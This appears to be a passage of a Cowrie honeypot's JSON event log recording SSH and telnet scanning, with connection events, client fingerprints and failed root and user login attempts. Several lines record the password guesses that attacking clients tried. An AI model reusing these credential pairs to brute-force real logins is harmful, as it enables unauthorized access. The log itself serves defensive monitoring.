{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6f:1f:4b:96:ee:ce:38:85:8d:4d:bf:28:74:68:db:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaK4wpw8100+aLCZ7OjWDLII+1ik5MJjhxjQKmYqM3aLCFvT84GjfEtyEl+8H4DCc37EowdQOHKxR3dT7e1HTjwvjpYQyr+mkJ1qmCQL/GiQUULdPu11QJBB5Rw2h0mH1MZrJREJYTynAA3farv2AaCMM4JkiiWVkv13ih4/vUCypBrianoA1r8fx5mwNnO+h7aezThn9yhRwTiRo1GtBMYSRJsKs71zhN9YZfoqQAASGJb3T9zjDUk0Ct8rGS7YjaJdvigVqeiqcr+GuoHZvtJl/j4xpvIb+OAWcXNp+6RGbJuAUQPOzNRmgHUZmFwKxRzVZib3QKMfjX77rs5K6r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:08.989522Z","src_ip":"68.235.57.43","session":"4d5f6cc998cb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:d0:95:52:9d:58:7d:6f:1e:c8:bc:37:ae:84:bc:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC27aCHxnNo4tgluzsIoqO/7p9tl61GCTRz9tR2kR9a3ywFEGUo5RGrAGpsgUWdeREG5Ssll8cGqTBqnYcVJrzHVybQFJ8NVjElTvHxQs/sMSUDT+ycnYrvmAT+D0B5wILRKbKbNB6GKzfr+MiTo12YZm9xrYGZDTDm9bf8QlcEMoCuSmsMllaxEZ2Xfqz0jp8fzvo3RT5Ox4q1+zwzGh5hFtXasAbfCAzlYUpArmL2cGVrRi82hZPV0foGtR+p+TtAxcIlo8q9NjtoNUFFjBvpaPggIF+rs3cqSGTvM1z5jg5jslaPUxybUAixk4K6pz9FDNdPEp8MElUPVyZsm517","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:d0:95:52:9d:58:7d:6f:1e:c8:bc:37:ae:84:bc:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:09.027283Z","src_ip":"68.235.57.43","session":"4d5f6cc998cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:d0:95:52:9d:58:7d:6f:1e:c8:bc:37:ae:84:bc:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC27aCHxnNo4tgluzsIoqO/7p9tl61GCTRz9tR2kR9a3ywFEGUo5RGrAGpsgUWdeREG5Ssll8cGqTBqnYcVJrzHVybQFJ8NVjElTvHxQs/sMSUDT+ycnYrvmAT+D0B5wILRKbKbNB6GKzfr+MiTo12YZm9xrYGZDTDm9bf8QlcEMoCuSmsMllaxEZ2Xfqz0jp8fzvo3RT5Ox4q1+zwzGh5hFtXasAbfCAzlYUpArmL2cGVrRi82hZPV0foGtR+p+TtAxcIlo8q9NjtoNUFFjBvpaPggIF+rs3cqSGTvM1z5jg5jslaPUxybUAixk4K6pz9FDNdPEp8MElUPVyZsm517","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:09.031396Z","src_ip":"68.235.57.43","session":"4d5f6cc998cb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:68:38:94:d9:f0:65:f5:14:b0:32:0c:85:8c:ba:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChIELJPh6h1zWakTGXqH8Tbvh633ZDJidBQ0tTNcpUzbM9i44hDX+2HaFMIjOfgEJeLSohc2TOaft6Viy7ixQZ0rB86BE6yzlaE8b9uSzUBWHzFUK2dsvOqnZW9nNjAyA8E65+wBwAIiFsUx6oDhnEJ3vXHJ0g9dJyjZL+S425oNdt4bgpcxf8Jkd7ZIn+tfA4Xam2d3jk8GPtdNTbmwAANwtniOKpICp9RK+vOYPp//0mWaOroYKt0xohtVWcSsGNy8NUfSu/yrDqryIfJbVYU+AS6jt2R+YCIxVZ+eUc2NXImRXTiylUhoI4+8Ba9UPb5HPNtbUblVmGfd064Q6b","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:68:38:94:d9:f0:65:f5:14:b0:32:0c:85:8c:ba:28","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:09.066754Z","src_ip":"68.235.57.43","session":"4d5f6cc998cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:68:38:94:d9:f0:65:f5:14:b0:32:0c:85:8c:ba:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChIELJPh6h1zWakTGXqH8Tbvh633ZDJidBQ0tTNcpUzbM9i44hDX+2HaFMIjOfgEJeLSohc2TOaft6Viy7ixQZ0rB86BE6yzlaE8b9uSzUBWHzFUK2dsvOqnZW9nNjAyA8E65+wBwAIiFsUx6oDhnEJ3vXHJ0g9dJyjZL+S425oNdt4bgpcxf8Jkd7ZIn+tfA4Xam2d3jk8GPtdNTbmwAANwtniOKpICp9RK+vOYPp//0mWaOroYKt0xohtVWcSsGNy8NUfSu/yrDqryIfJbVYU+AS6jt2R+YCIxVZ+eUc2NXImRXTiylUhoI4+8Ba9UPb5HPNtbUblVmGfd064Q6b","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:09.070970Z","src_ip":"68.235.57.43","session":"4d5f6cc998cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:09.106334Z","src_ip":"68.235.57.43","session":"4d5f6cc998cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45486,"dst_ip":"10.17.0.5","dst_port":23,"session":"f99a21a9621e","protocol":"telnet","message":"New connection: 192.119.13.58:45486 (10.17.0.5:23) [session: f99a21a9621e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:11.943933Z"}
{"eventid":"cowrie.session.closed","duration":35.693427085876465,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:12.425757Z","src_ip":"192.119.13.58","session":"df91dd5b812e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.126.22.12","src_port":58224,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0f6e96c4c5a","protocol":"ssh","message":"New connection: 101.126.22.12:58224 (159.203.135.109:22) [session: b0f6e96c4c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:14.586450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:15.900443Z","src_ip":"101.126.22.12","session":"b0f6e96c4c5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:15.904788Z","src_ip":"101.126.22.12","session":"b0f6e96c4c5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.168.136","src_port":55822,"dst_ip":"159.203.135.109","dst_port":22,"session":"944a3f2ac62b","protocol":"ssh","message":"New connection: 115.190.168.136:55822 (159.203.135.109:22) [session: 944a3f2ac62b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:18.394155Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.150.26","src_port":47726,"dst_ip":"159.203.135.109","dst_port":22,"session":"d72efddc952c","protocol":"ssh","message":"New connection: 152.32.150.26:47726 (159.203.135.109:22) [session: d72efddc952c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:18.719524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:18.723747Z","src_ip":"152.32.150.26","session":"d72efddc952c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:18.737678Z","src_ip":"152.32.150.26","session":"d72efddc952c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass@123","message":"login attempt [root/pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:18.812349Z","src_ip":"152.32.150.26","session":"d72efddc952c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:19.781201Z","src_ip":"115.190.168.136","session":"944a3f2ac62b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:19.784835Z","src_ip":"115.190.168.136","session":"944a3f2ac62b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:19.825173Z","src_ip":"152.32.150.26","session":"d72efddc952c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq12345678","message":"login attempt [root/Qq12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:20.659785Z","src_ip":"115.190.168.136","session":"944a3f2ac62b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":36200,"dst_ip":"10.17.0.5","dst_port":22,"session":"f16cb400d833","protocol":"ssh","message":"New connection: 89.223.69.22:36200 (10.17.0.5:22) [session: f16cb400d833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:20.952085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:20.956522Z","src_ip":"89.223.69.22","session":"f16cb400d833","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:21.072249Z","src_ip":"89.223.69.22","session":"f16cb400d833","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":38468,"dst_ip":"159.203.135.109","dst_port":22,"session":"4dbffe71ff04","protocol":"ssh","message":"New connection: 103.195.236.96:38468 (159.203.135.109:22) [session: 4dbffe71ff04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:21.151233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:21.157598Z","src_ip":"103.195.236.96","session":"4dbffe71ff04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:21.390406Z","src_ip":"103.195.236.96","session":"4dbffe71ff04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"strelok","message":"login attempt [root/strelok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:21.421579Z","src_ip":"89.223.69.22","session":"f16cb400d833","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10191984a","message":"login attempt [root/10191984a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:22.096322Z","src_ip":"103.195.236.96","session":"4dbffe71ff04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:22.540139Z","src_ip":"89.223.69.22","session":"f16cb400d833","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:23.332078Z","src_ip":"103.195.236.96","session":"4dbffe71ff04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":54358,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9337885a2e2","protocol":"ssh","message":"New connection: 2.57.122.238:54358 (159.203.135.109:22) [session: d9337885a2e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:30.297159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:30.302146Z","src_ip":"2.57.122.238","session":"d9337885a2e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:30.403489Z","src_ip":"2.57.122.238","session":"d9337885a2e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol123","message":"login attempt [sol/sol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:30.706365Z","src_ip":"2.57.122.238","session":"d9337885a2e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:31.813454Z","src_ip":"2.57.122.238","session":"d9337885a2e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.27.11","src_port":32828,"dst_ip":"159.203.135.109","dst_port":22,"session":"3667d2475b1f","protocol":"ssh","message":"New connection: 43.134.27.11:32828 (159.203.135.109:22) [session: 3667d2475b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:35.267793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:35.272619Z","src_ip":"43.134.27.11","session":"3667d2475b1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:44:35.518188Z","src_ip":"43.134.27.11","session":"3667d2475b1f","protocol":"ssh"}
